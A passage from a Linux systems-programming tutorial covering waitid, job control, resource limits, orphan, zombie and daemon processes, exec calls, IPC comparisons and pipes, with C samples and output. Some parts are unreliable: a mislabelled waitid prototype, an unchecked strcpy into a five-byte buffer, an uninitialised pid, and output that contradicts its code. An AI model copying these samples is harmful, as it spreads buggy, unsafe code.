      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 4;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   waitpid(pids[total_processes - 1], &status, 0);
   if (WIFEXITED(status) != 0) {
      printf("process %d exited normally\n", pids[total_processes - 1]);
      printf("exit status from child is %d\n", WEXITSTATUS(status));
   } else {
      printf("process %d not exited normally\n", pids[total_processes - 1]);
   }
   return 0;
}

After compilation and execution, following is the output.

In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4

Now, let us check for waitid() system call. This system call waits for the child process to change state.

#include <sys/wait.h>

int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);

The above system call waits for the child process to change the state and this call suspends the current/calling process until any of its child process changes its state. The argument ‘infop’ is to record the current state of the child. This call returns immediately, if the process has already changed its state.

The value of idtype can be either of the following −

  • P_PID − Wait for any child process whose process ID is equal to that of id.

  • P_PGID − Wait for any child process, whose process group ID is equal to that of id.

  • P_ALL − Wait for any child process and id is ignored.

  • The options argument is to specify which state changes and this can be formed with bitwise OR operation with the below-mentioned flags −

  • WCONTINUED − Returns the status of any child that was stopped and has been continued.

  • WEXITED − Waits for the process to exit.

  • WNOHANG − Returns immediately.

  • WSTOPPED − Waits for the process of any child that has stopped, upon receipt of the signal and returns the status.

This call returns 0, if it returns due to a change of the state of one of its children and WNOHANG is used. It returns –1, in case of error and sets the appropriate error number.

/* Filename: waitid_test.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>

int main() {
   int pid;
   int pids[3];
   int status;
   int numprocesses = 0;
   int total_processes = 3;
   siginfo_t siginfo;
   while (numprocesses < total_processes) {
      pid = fork();
      
      // Child process
      if (pid == 0) {
         printf("In child process: process id is %d\n", getpid());
         sleep(5);
         return 2;
      } else {
         pids[numprocesses] = pid;
         numprocesses++;
         printf("In parent process: created process number: %d\n", pid);
      }
   }
   
   // Waiting for 3rd child process
   status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
   if (status == -1) {
      perror("waitid error");
      return 1;
   }
   printf("Info received from waitid is: ");
   printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
   return 0;
}

After execution and compilation of the above program, following is the result.

In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875

Process Groups, Sessions & Job Control

In this chapter, we will get familiar with Process Groups, Sessions and Job Control.

Process Group − Process group is a collection of one or more processes. A process group constitutes of one or more processes sharing the same process group identifier (PGID). A process group ID (PGID) is of the same type (pid_t) as the process ID. A process group has a process group leader, which is the process that creates the group and whose process ID becomes the process group ID of the group.

Sessions − It is a collection of various process groups.

Job Control − This permits a shell user to simultaneously execute multiple commands (or jobs), one in the foreground and all remaining in the background. It is also possible to move the jobs from the foreground to the background and vice-versa.

Let us understand this with the help of example program/s using shell (BASH).

  • Shell script (in BASH) to perform basic commands (date, echo, sleep and cal) named basic_commands.sh

  • Shell script (in BASH) to perform basic commands (ps, echo)

#!/bin/bash
#basic_commands.sh

date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal

#!/bin/bash
#process_status.sh

ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps

Use chmod command to give the file the execute permissions. By default, the normal file would get only read and write permissions and not execute permissions.

To stop the current running process, you need to enter CTRL+Z. This gives you a job number. The job can be resumed either in the foreground or the background. If needed, to resume the job in the foreground use ‘fg’ command. If needed, to resume the job in the background, use ‘bg’ command. By using this, it would run only the last stopped process. What if you want to start other than the last stopped process? Just use the job number after fg or bg (say bg %2 or bg %3, etc). If the running job is in the background, you can run any other tasks in the foreground. To get the list of jobs, use command, jobs. It is also possible to terminate the process either with CTRL+C or kill command. You can pass the job number while using the kill command.

Check the following output which demonstrates stopping the jobs, moving the jobs from the foreground to the background and vice versa, terminating the jobs, etc.

chmod u+x basic_commands.sh
chmod u+x process_status.sh

./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID   TTY   TIME     CMD
2295  pts/1 00:00:00 bash
4222  pts/1 00:00:00 basic_commands.
4224  pts/1 00:00:00 sleep
4225  pts/1 00:00:00 process_status.
4226  pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh

jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Stopped      ./process_status.sh

bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped      ./basic_commands.sh
jobs
[1]+ Stopped      ./basic_commands.sh
[2]- Running      ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped      ./process_status.sh
jobs
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh
kill %1 %2
[1]- Stopped      ./basic_commands.sh
[2]+ Stopped      ./process_status.sh

[1]- Terminated   ./basic_commands.sh
[2]+ Terminated   ./process_status.sh

Process Resources

The process needs certain resources such as CPU and memory to perform the tasks. Now we will look into the related commands and system calls to know the information on resource utilization and monitoring. Also there are certain limits by default for each process on the resources, and if required the limits can be enhanced to accommodate the application requirements.

Following are the essential system or process resources information using commands −

The top command

$ top

The top command continuously displays the usage of system resources. If any process puts the system in some kind of hang state (consuming more of CPU or Memory) it is possible to note the process information and take appropriate action (such as killing the related process).

The ps command

$ ps

The ps command provides information about all the running processes. This helps to monitor and control the processes.

The vmstat command

$ vmstat

The vmstat command reports the statistics of virtual memory subsystem. It reports the information of processes (waiting to run, sleeping, runnable processes, etc.), memory (virtual memory information such as free, used, etc.), swap area, IO devices, system information (number of interrupts, context switches) and CPU (user, system and idle time).

The lsof command

$ lsof

The lsof command prints the list of open files of all the current running processes, including system processes.

The getconf command

$ getconf –a

The getconf command displays the system configuration variables information.

Now, let us take a look at the related system calls.

  • System call getrusage(), which provides information on system resource usage.

  • System calls related to accessing and setting resource limits viz., getrlimit(), setrlimit(), prlimit().

System Resource Usage Call

#include <sys/time.h>
#include <sys/resource.h>

int getrusage(int who, struct rusage *usage);

The system call getrusage() returns the information on the system resource usage. This can include information on self, children, or calling thread using flags RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD for the “who” variable. After the call, it returns the information in the structure rusage.

This call would return “0” on success and “-1” on failure.

Let us look at the following sample program.

/* Filename: sysinfo_getrusage.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rusage res_usage;
   int retval;
   retval = getrusage(RUSAGE_SELF, &res_usage);
   if (retval == -1) {
      perror("getrusage error");
      return;
   }
   printf("Details of getrusage:\n");
   printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
   printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
   printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
   printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
   printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
   printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
   printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
   printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
   printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
   return;
}

Compilation and Execution Steps

Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1

Let us now look at the system calls related to accessing and setting resource limits.

#include <sys/time.h>
#include <sys/resource.h>

int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);

The system call getrlimit() gets the resource limits in structure rlimit by inputting the resource one needs such as RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, etc.

The system call setrlimit() sets the resource limits as mentioned in the rlimit structure as far as within the limits.

The system call prlimit() is used for varius purposes, such as either for retrieving the current resource limits or for updating the resource limits to new values.

The structure rlimit contains two values −

  • Soft limit − Current limit

  • Hard limit − Maximum limit to which it can be extended.

RLIMIT_NOFILE − Returns the maximum number of file descriptors that can be opened by this process. For example, if it returns 1024, then the process has file descriptors from 0 to 1023.

RLIMIT_NPROC − Maximum number of processes that can be created for a user of that process.

RLIMIT_STACK − The maximum size in bytes of the stack segment for that process.

All these calls would return “0” on success and “-1” on failure.

Let us consider the following example where we are using getrlimit() system call.

/* Filename: sysinfo_getrlimit.c */

#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = getrlimit(resources[counter], &res_limit);
      if (retval == -1) {
         perror("getrlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

Compilation and Execution Steps

Details of resource limits for NOFILE, NPROC, STACK are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

Let us consider another example with getrlimit() system call but now with prlimit() system call.

/* Filename: sysinfo_prlimit.c */

#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>

void main(void) {
   struct rlimit res_limit;
   int retval;
   int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
   int max_res;
   int counter = 0;
   printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
   max_res = sizeof(resources)/sizeof(int);
   while (counter < max_res) {
      retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
      if (retval == -1) {
         perror("prlimit error");
         return;
      }
      printf("Soft Limit is %ld\n", res_limit.rlim_cur);
      printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
      counter++;
   }
   return;
}

Compilation and Execution Steps

Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: 
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432

Other Processes

So far, we have discussed about processes, its creation, parent and child processes, etc. The discussion will be incomplete without discussing other related processes, such as the Orphan process, Zombie process and Daemon process.

Orphan Process

As indicated by the name, orphan implies parentless process. When we run a program or application, the parent process for the application is shell. When we create a process using fork(), the newly created process is the child process and the process that created the child is the parent process. In turn, the parent process of this is shell. Of course, the parent of all the processes is init process (Process ID → 1).

The above is a usual scenario, however, what happens if the parent process exits before the child process. The result is, the child process now becomes the orphan process. Then what about its parent, its new parent is the parent of all the processes, which is nothing but init process (Process ID – 1).

Let us try and understand this using the following example.

/* File Name: orphan_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   system("ps -f");
   pid = fork();
   if (pid == 0) {
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(5);
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      system("ps -f");
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(2);
      exit(0);
   }
   return 0;
}

Compilation and Execution Steps

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180558      0  0 09:19  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  180564 180558  0 09:19  ?     00:00:00 timeout 10s main
4581875  180565 180564  0 09:19  ?     00:00:00 main
4581875  180566 180565  0 09:19  ?     00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID         PID   PPID  C STIME TTY    TIME CMD
4581875  180567      0  0 09:19  ?     00:00:00 main
4581875  180820 180567  0 09:19  ?     00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0

Zombie Process

In simple terms, assume that you have two processes, namely the parent and the child process. It is the responsibility of the parent process to wait for child process and then clean up the child process entry from the process table. What if the parent process is not ready to wait for the child process, and in the meantime the child process gets its job done and exits? Now, the child process would become the zombie process. Of course, the zombie process is cleaned up after the parent process becomes ready.

Let us understand this with the help of an example.

/* File Name: zombie_process.c */

#include<stdio.h>
#include<stdlib.h>

int main() {
   int pid;
   pid = fork();
   if (pid == 0) {
      system("ps -f");
      printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
      exit(0);
   } else {
      printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
      sleep(10);
      system("ps aux|grep Z");
   }
   return 0;
}

Compilation and Execution Steps

UID         PID   PPID  C STIME TTY    TIME CMD
4581875  184946      0  0 09:20  ?     00:00:00 sh -c cd /home/cg/root/4581875; 
                                       timeout 10s main
4581875  184952 184946  0 09:20  ?     00:00:00 timeout 10s main
4581875  184953 184952  0 09:20  ?     00:00:00 main
4581875  184954 184953  0 09:20  ?     00:00:00 main
4581875  184955 184954  0 09:20  ?     00:00:00 ps -f
Child: pid is 184954 and ppid is 184953

Daemon Process

In simple terms, the process which doesn’t have any associated shell or terminal is known as the daemon process. Why this is needed? These are the processes which run in the background to perform actions at predefined intervals and also respond to certain events. The daemon process should not have any user interaction, since it runs as a background process.

The internal Linux daemon processes usually ends with the letter “d” such as Kernel Daemons (ksoftirqd, kblockd, kswapd, etc.), Printing Daemons (cupsd, lpd, etc.), File Service Daemons (smbd, nmbd, etc.), Administrative database daemons (ypbind, ypserv, etc.), Electronic Mail Daemons (sendmail, popd, smtpd, etc.), Remote Login and Command Execution Daemons (sshd, in.telnetd, etc.), Booting and Configuration Daemons (dhcpd, udevd, etc.), init process (init), cron daemon, atd daemon, etc.

Now let us see how to create a daemon process. Following are the steps −

Step 1 − Create a child process. Now we have two processes – the parent process and the child process

Usually the process hierarchy is SHELL → PARENT PROCESS → CHILD PROCESS

Step 2 − Terminate the parent process by exiting. The child process now becomes the orphan process and is taken over by init process.

Now, the hierarchy is INIT PROCESS → CHILD PROCESS

Step 3 − Calling the setsid() system call creates a new session, if the calling process is not a process group leader. Now the calling process becomes the group leader of the new session. This process will be the only process in this new process group and in this new session.

Step 4 − Set the process group ID and session ID to PID of the calling process.

Step 5 − Close the default file descriptors (standard input, standard output, and standard error) of the process as the terminal and shell are now disconnected from the application.

/* Filename: daemon_test.c */

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>

int main(int argc, char *argv[]) {
   pid_t pid;
   int counter;
   int fd;
   int max_iterations;
   char buffer[100];
   if (argc < 2)
   max_iterations = 5;
   else {
      max_iterations = atoi(argv[1]);
      if ( (max_iterations <= 0) || (max_iterations > 20) )
      max_iterations = 10;
   }
   pid = fork();
   
   // Unable to create child process
   if (pid < 0) {
      perror("fork error\n");
      exit(1);
   }
   
   // Child process
   if (pid == 0) {
      fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
      if (fd == -1) {
         perror("daemon txt file open error\n");
         return 1;
      }
      printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("\nChild process before becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      setsid();
      printf("\nChild process after becoming session leader\n");
      sprintf(buffer, "ps -ef|grep %s", argv[0]);
      system(buffer);
      close(STDIN_FILENO);
      close(STDOUT_FILENO);
      close(STDERR_FILENO);
   } else {
      printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
      printf("Parent: Exiting\n");
      exit(0);
   }
   
   // Executing max_iteration times
   for (counter = 0; counter < max_iterations; counter++) {
      sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
      write(fd, buffer, strlen(buffer));
      sleep(2);
   }
   strcpy(buffer, "Done\n");
   write(fd, buffer, strlen(buffer));
   
   // Can't print this as file descriptors are already closed
   printf("DoneDone\n");
   close(fd);
   return 0;
}

Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193526 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193528 193526  0 09:23  ?      00:00:00 grep main
4581875  193525      0  0 09:23  ?      00:00:00 main
4581875  193529 193525  0 09:23  ?      00:00:00 sh -c ps -ef|grep main
4581875  193531 193529  0 09:23  ?      00:00:00 grep main

Overlaying Process Image

Assume that we are running a program and we want to run another program from the current program. Is this possible? Why not, if we implement the concept of overlaying the process image. That’s fine but what about the current running program, can that be run too. How is it possible, since we overlaid the current program with the new program. What to do, if I want to run the two programs without losing the current running program, is it possible? Yes, it is possible.

Create a child process, so that we have a parent process and a newly created child process. Already we are running the current program in the parent process, so run the newly created process in the child. In this way, we can run another program from the current program. Not only a single program but we can run any number of programs from the current program by creating that many number of child processes.

Let us consider the following program as an example.

/* File Name: helloworld.c */

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

/* File Name: execl_test.c */

#include<stdio.h>
#include<unistd.h>

void main() {
   execl("./helloworld", "./helloworld", (char *)0);
   printf("This wouldn't print\n");
   return;
}

The above program would overlay the process image of execl_test with helloworld. That is the reason, the process image code of execl_test (printf()) is not executed.

Compilation and Execution Steps

Hello World

Now, we will run the following two programs from one program, i.e., execl_run_two_prgms.c.

  • Hello World program (helloworld.c)

  • While loop program to print from 1 to 10 (while_loop.c)

/* File Name: while_loop.c */

/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>

void main() {
   int value = 1;
   while (value <= 10) {
      printf("%d\t", value);
      value++;
   }
   printf("\n");
   return;
}

Following is the program to run two programs (one program from child and another program from parent).

/* Filename: execl_run_two_prgms.c */

#include<stdio.h>
#include<unistd.h>

void main() {
   int pid;
   pid = fork();
   
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      execl("./helloworld", "./helloworld", (char *)0);
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

Note − Place sleep() call to make sure the child and parent processes run sequentially (do not overlap the result).

Compilation and Execution Steps

Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here

Now we would run two programs from one program i.e., execl_run_two_prgms.c, same program as above but with command line arguments. So, we are running two programs namely, helloworld.c in the child process, and the program while_loop.c in the parent process. This is as follows −

  • Hello World program (helloworld.c)

  • While loop program to print from 1 to num_times_str as per command line arguments (while_loop.c)

This program broadly performs the following actions −

  • Creates a child process

  • Child process executes helloworld.c program

  • Parent process executes while_loop.c program passing the command line argument value as an argument to the program. If the command line arguments are not passed, then the default is taken as 10. Otherwise, it takes the given argument value. The argument value should be numeric; code would not validate if given in alphabets.

/* Filename: execl_run_two_prgms.c */

#include<stdio.h>
#include<string.h>
#include<unistd.h>

void main(int argc, char *argv[0]) {
   int pid;
   int err;
   int num_times;
   char num_times_str[5];
   
   /* In no command line arguments are passed, then loop maximum count taken as 10 */
   if (argc == 1) {
      printf("Taken loop maximum as 10\n");
      num_times = 10;
      sprintf(num_times_str, "%d", num_times);
   } else {
      strcpy(num_times_str, argv[1]);
      printf("num_times_str is %s\n", num_times_str);
      pid = fork();
   }
   
   /* Child process */
   if (pid == 0) {
      printf("Child process: Running Hello World Program\n");
      err = execl("./helloworld", "./helloworld", (char *)0);
      printf("Error %d\n", err);
      perror("Execl error: ");
      printf("This wouldn't print\n");
   } else { /* Parent process */
      sleep(3);
      printf("Parent process: Running While loop Program\n");
      execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
      printf("Won't reach here\n");
   }
   return;
}

Following is the helloworld.c program called from the child process of the program, execl_run_two_prgms.c.

/* File Name: helloworld.c */

#include<stdio.h>

void main() {
   printf("Hello World\n");
   return;
}

Following is the while_loop.c program called from the parent process of the program, execl_run_two_prgms.c. The argument to this program is passed from the program which runs this i.e., execl_run_two_prgms.c.

/* Filename: while_loop.c */

#include<stdio.h>

void main(int argc, char *argv[]) {
   int start_value = 1;
   int end_value;
   if (argc == 1)
   end_value = 10;
   else
   end_value = atoi(argv[1]);
   printf("Argv[1] is %s\n", argv[1]);
   while (start_value <= end_value) {
      printf("%d\t", start_value);
      start_value++;
   }
   printf("\n");
   return;
}

Compilation and Execution Steps

Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Let us now see the overlaying image related library functions.

#include<unistd.h>

int execl(const char *path, const char *arg, ...);

This function would overlay the current running process image with the new process as mentioned in the arguments, path and arg. If any argument needs to passed to a new process image, that would be send through “arg” arguments and the last argument should be NULL.

This function would return a value only in case of an error. The process overlaying image related calls are as mentioned below −

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);

These calls would address passing command line arguments (argv[]), environment variables (envp[]) and other parameters.

Related System Calls (System V)

Following table lists the various System calls along with their description.

Category System Call Description
General open () This system call either opens an already existing file or creates and opens a new file.
General creat () Creates and opens a new file.
General read () Reads the contents of the file into the required buffer.
General write () Writes the contents of buffer into the file.
General close () Closes the file descriptor.
General stat () Provides information on the file.
Pipes pipe () Creates pipe for communication which returns two file descriptors for reading and writing.
Named Pipes or Fifo mknod () Creates a memory device file or special file to create FIFOs
Named Pipes or Fifo mkfifo () Creates a new FIFO
Shared Memory shmget () Creates a new shared memory segment or gets the identifier of the existing segment.
Shared Memory shmat () Attaches the shared memory segment and makes the segment a part of the virtual memory of the calling process.
Shared Memory shmdt () Detaches the shared memory segment.
Shared Memory shmctl () Performs control operations for the shared memory. Few of the generic control operations for the shared memory are removing the shared memory segment (IPC_RMID), receiving the information of the shared memory (IPC_STAT) and updating new values of the existing shared memory (IPC_SET).
Message Queues msgget () Creates a new message queue or accesses an already existing message queue and gets the handle or identifier to perform operations with regard to message queue, such as sending message/s to queue and receiving message/s from the queue.
Message Queues msgsnd () Sends a message to the required message queue with the required identification number.
Message Queues msgrcv () Receives a message from the message queue. By default, this is infinite wait operation, means the call will be blocked until it receives a message.
Message Queues msgctl () Performs control operations for the message queue. Few of the generic control operations for the message queue are removing the message queue (IPC_RMID), receiving the information of the message queue (IPC_STAT) and updating new values of the existing message queue (IPC_SET).
Semaphores semget () Creates a new semaphore or gets the identifier of the existing semaphore. Semaphores are used to perform synchronization between various IPCs working on the same object.
Semaphores semop () Performs semaphore operations on semaphore values. The basic semaphore operations are either acquiring or releasing the lock on the semaphore.
Semaphores semctl () Performs control operations for the semaphore. Few of the generic control operations for the semaphore are removing the semaphore (IPC_RMID), receiving the information of the semaphore (IPC_STAT) and updating new values of the existing semaphore (IPC_SET).
Signals signal () Setting the disposition of the signal (signal number) and the signal handler. In other terms, registering the routine, which gets executed when that signal is raised.
Signals sigaction () Same as signal(), setting the disposition of the signal i.e., performing certain action as per the registered signal handler after the receipt of the registered signal. This system call supports finer control over signal() such as blocking certain signals, restoring signal action to the default state after calling the signal handler, providing information such as consumed time of the user and the system, process id of sending process, etc.
Memory Mapping mmap () Mapping files into the memory. Once mapped into the memory, accessing files is as easy as accessing data using addresses and also in this way, the call is not expensive as system calls.
Memory Mapping munmap () Un-mapping the mapped files from the memory.

System V & Posix

Following table lists the differences between System V IPC and POSIX IPC.

SYSTEM V POSIX
AT & T introduced (1983) three new forms of IPC facilities namely message queues, shared memory, and semaphores. Portable Operating System Interface standards specified by IEEE to define application programming interface (API). POSIX covers all the three forms of IPC
SYSTEM V IPC covers all the IPC mechanisms viz., pipes, named pipes, message queues, signals, semaphores, and shared memory. It also covers socket and Unix Domain sockets. Almost all the basic concepts are the same as System V. It only differs with the interface
Shared Memory Interface Calls shmget(), shmat(), shmdt(), shmctl() Shared Memory Interface Calls shm_open(), mmap(), shm_unlink()
Message Queue Interface Calls msgget(), msgsnd(), msgrcv(), msgctl() Message Queue Interface Calls mq_open(), mq_send(), mq_receive(), mq_unlink()
Semaphore Interface Calls semget(), semop(), semctl() Semaphore Interface Calls Named Semaphores sem_open(), sem_close(), sem_unlink(), sem_post(), sem_wait(), sem_trywait(), sem_timedwait(), sem_getvalue() Unnamed or Memory based semaphores sem_init(), sem_post(), sem_wait(), sem_getvalue(),sem_destroy()
Uses keys and identifiers to identify the IPC objects. Uses names and file descriptors to identify IPC objects
NA POSIX Message Queues can be monitored using select(), poll() and epoll APIs
Offers msgctl() call Provides functions (mq_getattr() and mq_setattr()) either to access or set attributes 11. IPC - System V & POSIX
NA Multi-thread safe. Covers thread synchronization functions such as mutex locks, conditional variables, read-write locks, etc.
NA Offers few notification features for message queues (such as mq_notify())
Requires system calls such as shmctl(), commands (ipcs, ipcrm) to perform status/control operations. Shared memory objects can be examined and manipulated using system calls such as fstat(), fchmod()
The size of a System V shared memory segment is fixed at the time of creation (via shmget()) We can use ftruncate() to adjust the size of the underlying object, and then re-create the mapping using munmap() and mmap() (or the Linux-specific mremap())

Inter Process Communication - Pipes

Pipe is a communication medium between two or more related or interrelated processes. It can be either within one process or a communication between the child and the parent processes. Communication can also be multi-level such as communication between the parent, the child and the grand-child, etc. Communication is achieved by one process writing into the pipe and other reading from the pipe. To achieve the pipe system call, create two files, one to write into the file and another to read from the file.

Pipe mechanism can be viewed with a real-time scenario such as filling water with the pipe into some container, say a bucket, and someone retrieving it, say with a mug. The filling process is nothing but writing into the pipe and the reading process is nothing but retrieving from the pipe. This implies that one output (water) is input for the other (bucket).

Pipe with one
#include<unistd.h>

int pipe(int pipedes[2]);

This system call would create a pipe for one-way communication i.e., it creates two descriptors, first one is connected to read from the pipe and other one is connected to write into the pipe.

Descriptor pipedes[0] is for reading and pipedes[1] is for writing. Whatever is written into pipedes[1] can be read from pipedes[0].

This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

Even though the basic operations for file are read and write, it is essential to open the file before performing the operations and closing the file after completion of the required operations. Usually, by default, 3 descriptors opened for every process, which are used for input (standard input – stdin), output (standard output – stdout) and error (standard error – stderr) having file descriptors 0, 1 and 2 respectively.

This system call would return a file descriptor used for further file operations of read/write/seek (lseek). Usually file descriptors start from 3 and increase by one number as the number of files open.

The arguments passed to open system call are pathname (relative or absolute path), flags mentioning the purpose of opening file (say, opening for read, O_RDONLY, to write, O_WRONLY, to read and write, O_RDWR, to append to the existing file O_APPEND, to create file, if not exists with O_CREAT and so on) and the required mode providing permissions of read/write/execute for user or owner/group/others. Mode can be mentioned with symbols.

Read – 4, Write – 2 and Execute – 1.

For example: Octal value (starts with 0), 0764 implies owner has read, write and execute permissions, group has read and write permissions, other has read permissions. This can also be represented as S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, which implies or operation of 0700|0040|0020|0004 → 0764.

This system call, on success, returns the new file descriptor id and -1 in case of error. The cause of error can be identified with errno variable or perror() function.

#include<unistd.h>

int close(int fd)

The above system call closing already opened file descriptor. This implies the file is no longer in use and resources associated can be reused by any other process. This system call returns zero on success and -1 in case of error. The cause of error can be identified with errno variable or perror() function.

#include<unistd.h>

ssize_t read(int fd, void *buf, size_t count)

The above system call is to read from the specified file with arguments of file descriptor fd, proper buffer with allocated memory (either static or dynamic) and the size of buffer.

The file descriptor id is to identify the respective file, which is returned after calling open() or pipe() system call. The file needs to be opened before reading from the file. It automatically opens in case of calling pipe() system call.

This call would return the number of bytes read (or zero in case of encountering the end of the file) on success and -1 in case of failure. The return bytes can be smaller than the number of bytes requested, just in case no data is available or file is closed. Proper error number is set in case of failure.

To know the cause of failure, check with errno variable or perror() function.

#include<unistd.h>

ssize_t write(int fd, void *buf, size_t count)

The above system call is to write to the specified file with arguments of the file descriptor fd, a proper buffer with allocated memory (either static or dynamic) and the size of buffer.

The file descriptor id is to identify the respective file, which is returned after calling open() or pipe() system call.

The file needs to be opened before writing to the file. It automatically opens in case of calling pipe() system call.

This call would return the number of bytes written (or zero in case nothing is written) on success and -1 in case of failure. Proper error number is set in case of failure.

To know the cause of failure, check with errno variable or perror() function.

Example Programs

Following are some example programs.

Example program 1 − Program to write and read two messages using pipe.

Algorithm

